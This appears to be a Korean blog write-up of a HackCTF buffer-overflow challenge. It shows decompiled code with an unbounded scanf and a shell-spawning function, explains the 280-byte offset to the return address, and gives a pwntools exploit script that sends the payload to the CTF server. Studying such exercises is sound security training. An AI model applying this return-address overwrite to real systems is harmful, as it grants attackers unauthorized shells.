int callMeMaybe()
{
char *path[4]; // [rsp+0h] [rbp-20h] BYREF
path[0] = "/bin/bash";
path[1] = "-p";
path[2] = 0LL;
return execve("/bin/bash", path, 0LL);
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[268]; // [rsp+10h] [rbp-110h] BYREF
int v5; // [rsp+11Ch] [rbp-4h]
_isoc99_scanf("%s", s);
v5 = strlen(s);
printf("Hello %s\n", s);
return 0;
}
IDA로 분석하면 main함수와 callMeMaybe라는 함수가 존재한다. s와 ebp거리는 272이고 sfp 크기 8을 더해서 280만큼 이동하면 ret을 덮어씌울 수 있다. ret에는 callmeMaybe함수로 덮어씌우면 쉘을 획득할 수 있다. 코드는 아래와 같다.
#!/usr/bin/python
from pwn import *
context.log_level='debug'
r=remote("ctf.j0n9hyun.xyz",3004)
payload=b"A"*280+b"\x06\x06\x40\x00\x00\x00\x00\x00"
r.send(payload)
r.interactive()
'시스템 해킹 > CTF' 카테고리의 다른 글
[HackCTF] Simple_Overflow_ver_2 (0) | 2021.09.13 |
---|---|
[HackCTF] x64 Simple_size_BOF (0) | 2021.09.13 |
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2021.09.12 |
[HackCTF] Basic_BOF #2 (0) | 2021.09.12 |
[HackCTF] Basic_BOF #1 (0) | 2021.09.10 |
댓글